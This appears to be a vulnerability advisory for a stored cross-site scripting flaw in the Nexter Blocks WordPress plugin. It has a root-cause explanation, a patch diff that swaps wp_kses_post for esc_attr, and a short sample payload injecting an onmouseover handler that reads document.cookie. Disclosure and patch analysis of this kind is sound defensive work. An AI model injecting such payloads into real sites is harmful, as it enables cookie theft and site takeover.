Published : July 7, 2026

CVE-2026-6740: Nexter Blocks <= 4.7.4 Authenticated (Contributor+) Stored Cross-Site Scripting via 'commentIcon' Block Attribute PoC, Patch Analysis & Rule

CVE ID CVE-2026-6740
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.7.4
Patched Version 4.7.5
Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6740:

This is a Stored Cross-Site Scripting (XSS) vulnerability in the Nexter Blocks plugin (up to version 4.7.4). The vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into pages. The injected scripts execute whenever a user accesses the compromised page. The CVSS score is 6.4 (Medium).

The root cause is insufficient input sanitization and output escaping in the ‘commentIcon’ block attribute. Specifically, in the vulnerable file `the-plus-addons-for-block-editor/classes/blocks/tp-post-meta/index.php`, line 89, the `$attr[‘commentIcon’]` value was passed directly to `wp_kses_post()` which allows certain HTML tags but does not strip JavaScript event handlers. The patch changes this to `esc_attr()` which properly escapes HTML entities. This occurs in the `tpgb_tp_post_meta_render_callback` function. The commentIcon parameter comes from block attributes set in the Gutenberg editor.

An attacker with contributor-level access creates or edits a post using the Nexter Blocks Post Meta block. In the block settings, they set the ‘commentIcon’ attribute to a malicious value such as `fa-star onmouseover=alert(document.cookie)`. When the page renders, `wp_kses_post()` does not remove the `onmouseover` event handler, and the attribute is output directly into an HTML class attribute without escaping, allowing script execution. The attacker then publishes or saves the post, and any visitor viewing the post triggers the XSS payload.

The patch replaces `wp_kses_post($attr[‘commentIcon’])` with `esc_attr($attr[‘commentIcon’])` on line 89 of `tp-post-meta/index.php`. `esc_attr()` encodes all HTML special characters, including angle brackets, quotes, and ampersands, preventing any HTML injection. The old code used `wp_kses_post()` which is designed for WordPress post content and permits many HTML elements and attributes, making it unsuitable for attribute values.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, cookie theft, phishing attacks, defacement, or redirection to malicious sites. An attacker could also perform administrative actions on behalf of an admin user who visits the page, leading to full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-breadcrumbs/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-breadcrumbs/index.php
@@ -41,13 +41,19 @@
             $sepIcons= (!empty($attributes["sepIconFawesome"])) ? $attributes["sepIconFawesome"] : '';
             $sepIconType='sep_icon';
         } else if(!empty($attributes["sepIconFontStyle"]) && $attributes["sepIconFontStyle"]=='sep_icon_image') {
-            $sepIconImg = (!empty($attributes['sepIconImg']['id'])) ? $attributes['sepIconImg']['id'] : '';
-            if(!empty($sepIconImg)){
-                $img = wp_get_attachment_image_src($sepIconImg);
-                $sepIcons = $img[0];
-                $sepIconType = 'sep_image';
-            }else if(!empty($attributes['sepIconImg']['url'])){
-                $sepIcons = $attributes['sepIconImg']['url'];
+            $sepIconImgId  = ! empty( $attributes['sepIconImg']['id'] ) ? absint( $attributes['sepIconImg']['id'] ) : 0;
+            $sepIconImgUrl = ! empty( $attributes['sepIconImg']['url'] ) ? esc_url_raw( $attributes['sepIconImg']['url'] ) : '';
+            if ( $sepIconImgId > 0 ) {
+                $img = wp_get_attachment_image_src( $sepIconImgId, 'full' );
+                if ( ! empty( $img[0] ) ) {
+                    $sepIcons    = $img[0];
+                    $sepIconType = 'sep_image';
+                } elseif ( $sepIconImgUrl ) {
+                    $sepIcons    = $sepIconImgUrl;
+                    $sepIconType = 'sep_image';
+                }
+            } elseif ( $sepIconImgUrl ) {
+                $sepIcons    = $sepIconImgUrl;
                 $sepIconType = 'sep_image';
             }
         }
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-button/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-button/index.php
@@ -330,7 +330,7 @@
 			$output .= '<div class="tpgb-btn-fpopup" id="tpgb-query-'.esc_attr($block_id).'-'.esc_attr($post_id).'" >';
 				ob_start();
 				if(!empty($attributes['templates']) && $attributes['templates'] != 'none') {
-					echo Tpgb_Library()->plus_do_block($attributes['templates']);
+					echo Tpgb_Library()->plus_do_block($attributes['templates']); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 				}
 				$output .= ob_get_contents();
 				ob_end_clean();
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-container-inner/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-container-inner/index.php
@@ -1,51 +1,22 @@
 <?php
 /* Block : TP Column
  * @since : 1.3.0
+ *
+ * Registration only. render.php is lazy-loaded by WordPress — included only
+ * when tpgb/tp-container-inner is present on the page being rendered.
+ *
+ * merge_options_json() is still called to inject global attribute schemas
+ * into the registration. The render_callback param is intentionally empty —
+ * the "render": "file:./render.php" declaration in block.json owns that.
  */
 defined( 'ABSPATH' ) || exit;

-function tpgb_tp_grid_render_callback( $attributes, $content) {
-
-	$output = '';
-	$block_id = (!empty($attributes['block_id'])) ? $attributes['block_id'] : uniqid("title");
-	$customClasses = (!empty($attributes['customClasses'])) ? $attributes['customClasses'] : '';
-	$wrapLink = (!empty($attributes['wrapLink'])) ? $attributes['wrapLink'] : false;
-	$showchild = (!empty($attributes['showchild'])) ? $attributes['showchild'] : false;
-	$blockClass = Tp_Blocks_Helper::block_wrapper_classes( $attributes );
-
-	if(!empty($customClasses)){
-		$blockClass .= ' '.esc_attr($customClasses);
-	}
-
-	// Set Link Data
-	$colLink = '';
-	if(!empty($wrapLink)){
-		$colUrl = (!empty($attributes['colUrl'])) ? $attributes['colUrl'] : '';
-		$blockClass .= ' tpgb-col-link';
-
-		if( !empty($colUrl) && isset($colUrl['url']) && !empty($colUrl['url']) ){
-			$colLink .= ' data-tpgb-col-link= "'.esc_url($colUrl['url']).'" ';
-		}
-		if(!empty($colUrl) && isset($colUrl['target']) && !empty($colUrl['target'])){
-			$colLink .= ' data-target="_blank"';
-		}else{
-			$colLink .= ' data-target="_self"';
-		}
-		$colLink .= Tp_Blocks_Helper::add_link_attributes($attributes['colUrl']);
-	}
-
-	$output .= '<div class="tpgb-container-col tpgb-block-'.esc_attr($block_id).' '.esc_attr($blockClass).'" data-id="'.esc_attr($block_id).'" '.$colLink.' >';
-		$output .= $content;
-	$output .= '</div>';
-
-    return $output;
-}
-
 /**
  * Render for the server-side
  */
 function tpgb_tp_grid() {
-    $block_data = Tpgb_Blocks_Global_Options::merge_options_json(__DIR__, 'tpgb_tp_grid_render_callback');
-	register_block_type( $block_data['name'], $block_data );
+
+	$block_data = Tpgb_Blocks_Global_Options::merge_options_json(__DIR__, '');
+	register_block_type_from_metadata( __DIR__, array( 'attributes' => $block_data['attributes'] ) );
 }
 add_action( 'init', 'tpgb_tp_grid' );
 No newline at end of file
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-container-inner/render.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-container-inner/render.php
@@ -0,0 +1,42 @@
+<?php
+/* Block : TP Column
+ * @since : 1.3.0
+ *
+ * WordPress includes this file lazily — only when tpgb/tp-container-inner is present
+ * on the page being rendered. Variables in scope: $attributes (array), $content (string).
+ */
+defined( 'ABSPATH' ) || exit;
+
+$output = '';
+$block_id = (!empty($attributes['block_id'])) ? $attributes['block_id'] : uniqid("title");
+$customClasses = (!empty($attributes['customClasses'])) ? $attributes['customClasses'] : '';
+$wrapLink = (!empty($attributes['wrapLink'])) ? $attributes['wrapLink'] : false;
+$showchild = (!empty($attributes['showchild'])) ? $attributes['showchild'] : false;
+$blockClass = Tp_Blocks_Helper::block_wrapper_classes( $attributes );
+
+if(!empty($customClasses)){
+	$blockClass .= ' '.esc_attr($customClasses);
+}
+
+// Set Link Data
+$colLink = '';
+if(!empty($wrapLink)){
+	$colUrl = (!empty($attributes['colUrl'])) ? $attributes['colUrl'] : '';
+	$blockClass .= ' tpgb-col-link';
+
+	if( !empty($colUrl) && isset($colUrl['url']) && !empty($colUrl['url']) ){
+		$colLink .= ' data-tpgb-col-link= "'.esc_url($colUrl['url']).'" ';
+	}
+	if(!empty($colUrl) && isset($colUrl['target']) && !empty($colUrl['target'])){
+		$colLink .= ' data-target="_blank"';
+	}else{
+		$colLink .= ' data-target="_self"';
+	}
+	$colLink .= Tp_Blocks_Helper::add_link_attributes($attributes['colUrl']);
+}
+
+$output .= '<div class="tpgb-container-col tpgb-block-'.esc_attr($block_id).' '.esc_attr($blockClass).'" data-id="'.esc_attr($block_id).'" '.$colLink.' >';
+	$output .= $content;
+$output .= '</div>';
+
+echo $output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- assembled from individually escaped parts above.
 No newline at end of file
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-container/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-container/index.php
@@ -1,95 +1,23 @@
 <?php
 /* Block : Container(Section)
  * @since : 1.3.0
+ *
+ * Registration only. render.php is lazy-loaded by WordPress — included only
+ * when tpgb/tp-container is present on the page being rendered.
+ *
+ * merge_options_json() is still called to inject global attribute schemas
+ * (global-option, global-position, global-display-rules, equal-height, etc.)
+ * into the registration. The render_callback param is intentionally empty —
+ * the "render": "file:./render.php" declaration in block.json owns that.
  */
 defined( 'ABSPATH' ) || exit;
-
-function tpgb_tp_container_render_callback( $attributes, $content) {
-	$output = '';
-    $block_id = (!empty($attributes['block_id'])) ? $attributes['block_id'] : uniqid("title");
-    $height = (!empty($attributes['height'])) ? $attributes['height'] : '';
-    $customClass = (!empty($attributes['customClass'])) ? $attributes['customClass'] : '';
-
-	$customId = (!empty($attributes['customId'])) ? 'id="'.esc_attr($attributes['customId']).'"' : ( isset($attributes['anchor']) && !empty($attributes['anchor']) ? 'id="'.esc_attr($attributes['anchor']).'"'  : '' ) ;
-
-	$wrapLink = (!empty($attributes['wrapLink'])) ? $attributes['wrapLink'] : false;
-
-	$showchild = (!empty($attributes['showchild'])) ? $attributes['showchild'] : false;
-	$contentWidth = (!empty($attributes['contentWidth'])) ? $attributes['contentWidth'] : 'wide';
-	$colDir = (!empty($attributes['colDir'])) ? $attributes['colDir'] : '';
-	$tagName = (!empty($attributes['tagName'])) ? $attributes['tagName'] : '';
-	$blockClass = Tp_Blocks_Helper::block_wrapper_classes( $attributes );
-
-	$selectedLayout = (!empty($attributes['selectedLayout'])) ? $attributes['selectedLayout'] : '';
-    $nxtcontType = (!empty($attributes['nxtcontType'])) ? $attributes['nxtcontType'] : false;
-    $contwidFull = (!empty($attributes['contwidFull'])) ? $attributes['contwidFull'] : '';
-
-    //Equal Height
-    $equalHeightAttr = Tp_Blocks_Helper::global_equal_height( $attributes );
-
-	$sectionClass = '';
-	if( !empty( $height ) ){
-		$sectionClass .= ' tpgb-section-height-'.esc_attr($height);
-	}
-
-    if( defined('NXT_VERSION') && $contentWidth !== 'full' && !empty($nxtcontType) ){
-        $sectionClass .= ' tpgb-nxtcont-type';
-    }
-
-    if(!empty($equalHeightAttr)){
-        $sectionClass .= ' tpgb-equal-height';
-    }
-	// Toogle Class For wrapper Link
-
-	$linkdata = '';
-	if(!empty($wrapLink)){
-		$rowUrl = (!empty($attributes['rowUrl'])) ? $attributes['rowUrl'] : '';
-		$sectionClass .= ' tpgb-row-link';
-
-		if( !empty($rowUrl) && isset($rowUrl['url']) && !empty($rowUrl['url']) ){
-			$linkdata .= 'data-tpgb-row-link="'.esc_url($rowUrl['url']).'" ';
-		}
-		if(!empty($rowUrl) && isset($rowUrl['target']) && !empty($rowUrl['target'])){
-			$linkdata .= 'data-target="_blank" ';
-		}else{
-			$linkdata .= 'data-target="_self" ';
-		}
-		$linkdata .= Tp_Blocks_Helper::add_link_attributes($attributes['rowUrl']);
-	}
-
-	$output .= '<'.Tp_Blocks_Helper::validate_html_tag($tagName).' '.$customId.' class="tpgb-container-row tpgb-block-'.esc_attr($block_id).' '.esc_attr($sectionClass).' '.esc_attr($customClass).' '.esc_attr($blockClass).' '.($colDir == 'c100' || $colDir == 'r100' ? ' tpgb-container-inline' : '').'  tpgb-container-'.esc_attr($contentWidth).' '.($selectedLayout == 'grid' ? 'tpgb-grid' : '').'" data-id="'.esc_attr($block_id).' " '.$linkdata.' '.$equalHeightAttr.' >';
-
-    //top layer Div
-    if( isset($attributes['topOption']) && $attributes['topOption'] != '' ){
-        $output .= '<div class="tpgb-top-layer"></div>';
-    }
-
-	if($contentWidth=='wide'){
-		$output .= '<div class="tpgb-cont-in">';
-	}
-		$output .= $content;
-
-	if($contentWidth=='wide'){
-		$output .= '</div>';
-	}
-
-	$output .= "</".Tp_Blocks_Helper::validate_html_tag($tagName).">";
-
-
-	if ( class_exists( 'Tpgb_Blocks_Global_Options' ) ) {
-		$global_block = Tpgb_Blocks_Global_Options::get_instance();
-		if ( !empty($global_block) && is_callable( array( $global_block, 'block_row_conditional_render' ) ) ) {
-			$output = Tpgb_Blocks_Global_Options::block_row_conditional_render($attributes, $output);
-		}
-	}
-    return $output;
-}
-
+
 /**
  * Render for the server-side
  */
 function tpgb_tp_container_row() {
-    $block_data = Tpgb_Blocks_Global_Options::merge_options_json(__DIR__, 'tpgb_tp_container_render_callback' , true, false, false, true);
-	register_block_type( $block_data['name'], $block_data );
+
+	$block_data = Tpgb_Blocks_Global_Options::merge_options_json(__DIR__, '' , true, false, false, true);
+	register_block_type_from_metadata( __DIR__, array( 'attributes' => $block_data['attributes'] ) );
 }
 add_action( 'init', 'tpgb_tp_container_row' );
 No newline at end of file
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-container/render.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-container/render.php
@@ -0,0 +1,88 @@
+<?php
+/* Block : Container(Section)
+ * @since : 1.3.0
+ *
+ * WordPress includes this file lazily — only when tpgb/tp-container is present
+ * on the page being rendered. Variables in scope: $attributes (array), $content (string).
+ */
+defined( 'ABSPATH' ) || exit;
+
+$output = '';
+$block_id = (!empty($attributes['block_id'])) ? $attributes['block_id'] : uniqid("title");
+$height = (!empty($attributes['height'])) ? $attributes['height'] : '';
+$customClass = (!empty($attributes['customClass'])) ? $attributes['customClass'] : '';
+
+$customId = (!empty($attributes['customId'])) ? 'id="'.esc_attr($attributes['customId']).'"' : ( isset($attributes['anchor']) && !empty($attributes['anchor']) ? 'id="'.esc_attr($attributes['anchor']).'"'  : '' ) ;
+
+$wrapLink = (!empty($attributes['wrapLink'])) ? $attributes['wrapLink'] : false;
+
+$showchild = (!empty($attributes['showchild'])) ? $attributes['showchild'] : false;
+$contentWidth = (!empty($attributes['contentWidth'])) ? $attributes['contentWidth'] : 'wide';
+$colDir = (!empty($attributes['colDir'])) ? $attributes['colDir'] : '';
+$tagName = (!empty($attributes['tagName'])) ? $attributes['tagName'] : '';
+$blockClass = Tp_Blocks_Helper::block_wrapper_classes( $attributes );
+
+$selectedLayout = (!empty($attributes['selectedLayout'])) ? $attributes['selectedLayout'] : '';
+$nxtcontType = (!empty($attributes['nxtcontType'])) ? $attributes['nxtcontType'] : false;
+$contwidFull = (!empty($attributes['contwidFull'])) ? $attributes['contwidFull'] : '';
+
+//Equal Height
+$equalHeightAttr = Tp_Blocks_Helper::global_equal_height( $attributes );
+
+$sectionClass = '';
+if( !empty( $height ) ){
+	$sectionClass .= ' tpgb-section-height-'.esc_attr($height);
+}
+
+if( defined('NXT_VERSION') && $contentWidth !== 'full' && !empty($nxtcontType) ){
+    $sectionClass .= ' tpgb-nxtcont-type';
+}
+
+if(!empty($equalHeightAttr)){
+    $sectionClass .= ' tpgb-equal-height';
+}
+// Toogle Class For wrapper Link
+
+$linkdata = '';
+if(!empty($wrapLink)){
+	$rowUrl = (!empty($attributes['rowUrl'])) ? $attributes['rowUrl'] : '';
+	$sectionClass .= ' tpgb-row-link';
+
+	if( !empty($rowUrl) && isset($rowUrl['url']) && !empty($rowUrl['url']) ){
+		$linkdata .= 'data-tpgb-row-link="'.esc_url($rowUrl['url']).'" ';
+	}
+	if(!empty($rowUrl) && isset($rowUrl['target']) && !empty($rowUrl['target'])){
+		$linkdata .= 'data-target="_blank" ';
+	}else{
+		$linkdata .= 'data-target="_self" ';
+	}
+	$linkdata .= Tp_Blocks_Helper::add_link_attributes($attributes['rowUrl']);
+}
+
+$output .= '<'.Tp_Blocks_Helper::validate_html_tag($tagName).' '.$customId.' class="tpgb-container-row tpgb-block-'.esc_attr($block_id).' '.esc_attr($sectionClass).' '.esc_attr($customClass).' '.esc_attr($blockClass).' '.($colDir == 'c100' || $colDir == 'r100' ? ' tpgb-container-inline' : '').'  tpgb-container-'.esc_attr($contentWidth).' '.($selectedLayout == 'grid' ? 'tpgb-grid' : '').'" data-id="'.esc_attr($block_id).' " '.$linkdata.' '.$equalHeightAttr.' >';
+
+//top layer Div
+if( isset($attributes['topOption']) && $attributes['topOption'] != '' ){
+    $output .= '<div class="tpgb-top-layer"></div>';
+}
+
+if($contentWidth=='wide'){
+	$output .= '<div class="tpgb-cont-in">';
+}
+	$output .= $content;
+
+if($contentWidth=='wide'){
+	$output .= '</div>';
+}
+
+$output .= "</".Tp_Blocks_Helper::validate_html_tag($tagName).">";
+
+
+if ( class_exists( 'Tpgb_Blocks_Global_Options' ) ) {
+	$global_block = Tpgb_Blocks_Global_Options::get_instance();
+	if ( !empty($global_block) && is_callable( array( $global_block, 'block_row_conditional_render' ) ) ) {
+		$output = Tpgb_Blocks_Global_Options::block_row_conditional_render($attributes, $output);
+	}
+}
+
+echo $output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- assembled from individually escaped parts above.
 No newline at end of file
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-post-author/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-post-author/index.php
@@ -17,7 +17,7 @@
     $ShowSocial = (!empty($attr['ShowSocial'])) ? $attr['ShowSocial'] : false;
     $ShowRole = (!empty($attr['ShowRole'])) ? $attr['ShowRole'] : false;
 	$roleLabel = (!empty($attr['roleLabel'])) ? $attr['roleLabel'] : 'Role : ';
-    $titleLabel = (!empty($attr['titleLabel'])) ? $attr['titleLabel'] : 'Author : ';
+    $titleLabel = (!empty($attr['titleLabel'])) ? $attr['titleLabel'] : '';

 	$blockClass = Tp_Blocks_Helper::block_wrapper_classes( $attr );

--- a/the-plus-addons-for-block-editor/classes/blocks/tp-post-meta/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-post-meta/index.php
@@ -86,7 +86,7 @@

 	$outputComment='';
 	if($showComment){
-		$commentIcon =(!empty($attr['commentIcon'])) ? '<i class="meta-comment-icon '.wp_kses_post($attr['commentIcon']).'"></i>' : '';
+		$commentIcon =(!empty($attr['commentIcon'])) ? '<i class="meta-comment-icon '.esc_attr($attr['commentIcon']).'"></i>' : '';
 		$comments_count = wp_count_comments($post_id);
 		$count=0;
 		if(!empty($comments_count)){
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-search-bar/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-search-bar/index.php
@@ -609,7 +609,7 @@
 					$DType = $wpdb->prepare(" AND post_type = %s", $PostType);
 				}
 			}else{
-				$DType = " AND post_type IN ('post','page','product')";
+				$DType = $wpdb->prepare(" AND post_type IN ('post','page','product')");
 			}

 			if(!empty($GFilter['GFEnable'])){
@@ -675,7 +675,11 @@
 			}

 			if( class_exists('acf') && !empty($ACFEnable) && !empty($ACF_Key) ){
-				$ACFPrepare = $wpdb->prepare("SELECT {$wpdb->posts}.ID FROM {$wpdb->posts} WHERE {$wpdb->posts}.ID {$Publish}");
+				// Use %1s placeholder for the dynamic $Publish value (it's a SQL fragment, not a simple value)
+				$ACFPrepare = $wpdb->prepare(
+					"SELECT {$wpdb->posts}.ID FROM {$wpdb->posts} WHERE {$wpdb->posts}.ID %1s",
+					$Publish
+				);
 				$AcfPost = $wpdb->get_results($ACFPrepare);
 				foreach ($AcfPost as $key => $one) {
 					$PostID = !empty($one->ID) ? $one->ID : '';
--- a/the-plus-addons-for-block-editor/classes/blocks/tp-stylist-list/index.php
+++ b/the-plus-addons-for-block-editor/classes/blocks/tp-stylist-list/index.php
@@ -95,6 +95,11 @@
 									$imgSrc = wp_get_attachment_image($item['iconImg']['id'] , 'full', false, ['alt'=> $altText]);
 								}else if( !empty($item['iconImg']['url']) ){
 									$imgurl = ( class_exists('Tpgbp_Pro_Blocks_Helper') ) ? Tpgbp_Pro_Blocks_Helper::tpgb_dynamic_repeat_url($item['iconImg']) : '';
+
+									if(empty($imgurl)){
+										$imgurl = $item['iconImg']['url'];
+									}
+
 									$imgSrc = '<img src="'.esc_url($imgurl).'"  alt="'.$altText.'" />';
 								}
 								$icons .= $imgSrc;
--- a/the-plus-addons-for-block-editor/classes/tp-generate-block-css.php
+++ b/the-plus-addons-for-block-editor/classes/tp-generate-block-css.php
@@ -321,7 +321,12 @@
 											if (isset($values['md']) && (!isset($selectData['media']) || (isset($selectData['media']) && $selectData['media']==='md') )) {
 												$device = true;

-												if(gettype($values['md']) == 'object' || gettype($values['md']) == 'array'){
+												$_gbr = isset($values['globalBorderRadius']) ? $values['globalBorderRadius'] : null;
+												$_gbrIdx = is_array($_gbr) ? (isset($_gbr['md']) ? $_gbr['md'] : '') : $_gbr;
+												if (!empty($_gbrIdx) && is_numeric($_gbrIdx)) {
+													$_gbrFb = is_array($_gbrf) ? (isset($_gbrf['md']) ? $_gbrf['md'] : '') : (is_string($_gbrf) ? $_gbrf : '');
+													$dimension = 'var(--tpgb-RAD' . intval($_gbrIdx) . (!empty($_gbrFb) && is_string($_gbrFb) ? ', ' . $_gbrFb : '') . ')';
+												} elseif(gettype($values['md']) == 'object' || gettype($values['md']) == 'array'){
 													$dimension = $this->tp_objectField($values['md'])['data'];
 												}else{
 													$dimension = (!empty($values['md']) || $values['md']==='0') ? $values['md'] . (isset($values['unit']) ? $values['unit'] : '') : '';
@@ -351,11 +356,16 @@
 													$md = array_merge($md,$SelectorData);
 												}
 											}
+
 											// Tablet
 											if (isset($values['sm']) && (!isset($selectData['media']) || (isset($selectData['media']) && $selectData['media']==='sm') )) {
 												$device = true;
-
-												if(gettype($values['sm']) == 'object' || gettype($values['sm']) == 'array'){
+
+												$_gbrIdx = is_array($_gbr) ? (isset($_gbr['sm']) ? $_gbr['sm'] : '') : $_gbr;
+												if (!empty($_gbrIdx) && is_numeric($_gbrIdx)) {
+													$_gbrFb = is_array($_gbrf) ? (isset($_gbrf['sm']) ? $_gbrf['sm'] : '') : (is_string($_gbrf) ? $_gbrf : '');
+													$dimension = 'var(--tpgb-RAD' . intval($_gbrIdx) . (!empty($_gbrFb) && is_string($_gbrFb) ? ', ' . $_gbrFb : '') . ')';
+												} elseif(gettype($values['sm']) == 'object' || gettype($values['sm']) == 'array'){
 													$dimension = $this->tp_objectField($values['sm'])['data'];
 												}else{
 													$dimension = (!empty($values['sm']) || $values['sm']==='0') ? $values['sm'] . (isset($values['unitsm']) ? $values['unitsm'] : (isset($values['unit']) ? $values['unit'] : '')) : '';
@@ -391,11 +401,16 @@
 													}
 												}
 											}
+
 											// Mobile
 											if ( isset($values['xs']) && (!isset($selectData['media']) || (isset($selectData['media']) && $selectData['media']==='xs') ) ) {
 												$device = true;
-
-												if(gettype($values['xs']) == 'object' || gettype($values['xs']) == 'array'){
+
+												$_gbrIdx = is_array($_gbr) ? (isset($_gbr['xs']) ? $_gbr['xs'] : '') : $_gbr;
+												if (!empty($_gbrIdx) && is_numeric($_gbrIdx)) {
+													$_gbrFb = is_array($_gbrf) ? (isset($_gbrf['xs']) ? $_gbrf['xs'] : '') : (is_string($_gbrf) ? $_gbrf : '');
+													$dimension = 'var(--tpgb-RAD' . intval($_gbrIdx) . (!empty($_gbrFb) && is_string($_gbrFb) ? ', ' . $_gbrFb : '') . ')';
+												} elseif(gettype($values['xs']) == 'object' || gettype($values['xs']) == 'array'){
 													$dimension = $this->tp_objectField($values['xs'])['data'];
 												}else{
 													$dimension = (!empty($values['xs']) || $values['xs']==='0') ? $values['xs'] . (isset($values['unitxs']) ? $values['unitxs'] : (isset($values['unit']) ? $values['unit'] : '')) : '';
@@ -1037,6 +1052,35 @@

 								array_push( $xs, $this->generate_grid_styles($block_value['rowsRepeater'], $block_value['contentWidth']['value'], $block_value['block_id']['value'], 'row','xs'));
 							}
+
+							// Flex Child CSS
+                            $flexChild = (!empty($block_value['flexChild'])) ? $block_value['flexChild'] : [];
+                            if (!empty($flexChild) && !empty($block_value['showchild'])) {
+                                $block_id = $block_value['block_id']['value'];
+                                $isFullWidth = empty($block_value['contentWidth']['value']) || $block_value['contentWidth']['value'] === 'full';
+                                $flex_props = ['flexShrink' => 'flex-shrink', 'flexGrow' => 'flex-grow', 'flexOrder' => 'order'];
+
+                                foreach ($flexChild as $index => $item) {
+                                    $nth = (int)$index + 1;
+                                    $childSele = $isFullWidth
+                                        ? '.tpgb-block-' . $block_id . '.tpgb-container-row > *:nth-child(' . $nth . ')'
+                                        : '.tpgb-block-' . $block_id . '.tpgb-container-row > .tpgb-cont-in > *:nth-child(' . $nth . ')';
+
+                                    foreach (['md', 'sm', 'xs'] as $bp) {
+                                        foreach ($flex_props as $attr => $css) {
+                                            if (isset($item[$attr][$bp]) && $item[$attr][$bp] !== '') {
+                                                array_push($$bp, $childSele . '{ ' . $css . ': ' . $item[$attr][$bp] . '; }');
+                                            }
+                                        }
+                                        if (isset($item['flexBasis'][$bp]) && $item['flexBasis'][$bp] !== '' && isset($item['flexBasis']['unit'])) {
+                                            array_push($$bp, $childSele . '{ flex-basis: ' . $item['flexBasis'][$bp] . $item['flexBasis']['unit'] . '; }');
+                                        }
+                                        if (!empty($item['flexselfAlign'][$bp])) {
+                                            array_push($$bp, $childSele . '{ align-self: ' . $item['flexselfAlign'][$bp] . '; }');
+                                        }
+                                    }
+                                }
+                            }
 						}

                         if( $block_key === 'tpgb/tp-testimonials' ){
@@ -1503,22 +1547,41 @@
 	 */
 	public function cssBorder( $val ){
 		if( !empty($val) ){
-			$val['type'] = (isset($val['type']) && !empty($val['type'])) ? $val['type'] : "solid";
-			$val['width'] = (isset($val['width']) && !empty($val['width'])) ? $val['width'] : [];
+			if( !empty($val['openBorder']) && isset($val['globalBorder']) && !empty($val['globalBorder']) ){
+				$gBorder = $val['globalBorder'];
+				$globalCss = 'border-style:var(--tpgb-BRT' . $gBorder . ');border-width:var(--tpgb-BRW' . $gBorder . ');';
+				if(isset($val['disableWidthColor']) && !empty($val['disableWidthColor'])){
+				}else if(isset($val['color']) && !empty($val['color'])){
+					$globalCss .= 'border-color: ' . ($val['color'] ? $val['color'] : '#000') . ';';
+				}else{
+					$globalCss .= 'border-color:var(--tpgb-BRC' . $gBorder . ');';
+				}
+				return [ 'md' => $globalCss, 'sm' => [], 'xs' => [] ];
+			}
+
+			$val['type']  = (isset($val['type'])  && !empty($val['type']))  ? $val['type']  : 'solid';
 			$val['color'] = (isset($val['color']) && !empty($val['color'])) ? $val['color'] : '#000';
-
-			$defaultCss = 'border-style: ' . ($val['type'] ? $val['type'] : 'solid'). ';';
-			if(isset($val['disableWidthColor']) && !empty($val['disableWidthColor'])){
-
-			}else{
-				$defaultCss .= 'border-color: ' . ($val['color'] ? $val['color'] : '#000') . ';';
+			$val['width'] = (isset($val['width']) && !empty($val['width'])) ? $val['width'] : [];
+
+			// FIX: json_decode produces stdClass objects; normalise to array before the type check.
+			if( is_object($val['width']) ){
+				$val['width'] = json_decode( json_encode($val['width']), true );
+			}
+
+			$defaultCss = 'border-style: ' . $val['type'] . ';';
+			if( !isset($val['disableWidthColor']) || empty($val['disableWidthColor']) ){
+				$defaultCss .= 'border-color: ' . $val['color'] . ';';
 			}
-			if (gettype($val['width']) === 'array') {
+
+			if( gettype($val['width']) === 'array' ){
 				$data = [ 'md' => [], 'sm' => [], 'xs' => [] ];
 				$data = $this->_push($this->_customDevice($val['width'], 'border-width:{{key}};'), $data);
 				array_push($data['md'], $defaultCss);
 				return [ 'md' => $data['md'], 'sm' => $data['sm'], 'xs' => $data['xs'] ];
 			}
+
+			// Fallback: width was empty or a scalar — output just style + color.
+			return [ 'md' => $defaultCss, 'sm' => [], 'xs' => [] ];
 		}
 	}

--- a/the-plus-addons-for-block-editor/dashboard/build/index.asset.php
+++ b/the-plus-addons-for-block-editor/dashboard/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-dom-ready', 'wp-i18n'), 'version' => 'b7f4762ffea1760dabc4');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-dom-ready', 'wp-i18n'), 'version' => '664e03e819049a2ea71a');
--- a/the-plus-addons-for-block-editor/includes/plus-settings-options.php
+++ b/the-plus-addons-for-block-editor/includes/plus-settings-options.php
@@ -322,8 +322,8 @@
 		if ( defined('TPGBP_VERSION') && defined('TPGBP_PATH') && ( empty($isSub) || ( !empty($isSub) && !isset($isSub['nxt_form_submission_Disable'])) || ( isset($isSub['nxt_form_submission_Disable']) && $isSub['nxt_form_submission_Disable'] == 'enable' ) )) {
 			add_submenu_page(
 				"nexter_welcome",
-				"Form Submissions",
-				"Form Submissions",
+				__( 'Form Submissions', 'the-plus-addons-for-block-editor' ),
+				__( 'Form Submissions', 'the-plus-addons-for-block-editor' ),
 				"manage_options",
 				"nxt-form-submissions",
 				[$this, "nxt_load_submissions_handler"]
--- a/the-plus-addons-for-block-editor/the-plus-addons-for-block-editor.php
+++ b/the-plus-addons-for-block-editor/the-plus-addons-for-block-editor.php
@@ -3,7 +3,7 @@
 * Plugin Name: Nexter Blocks
 * Plugin URI: https://nexterwp.com/nexter-blocks/
 * Description: Highly customizable WordPress Gutenberg blocks to build professional websites with top-notch performance and sleek design. Includes 40+ FREE WordPress Blocks.
-* Version: 4.7.4
+* Version: 4.7.5
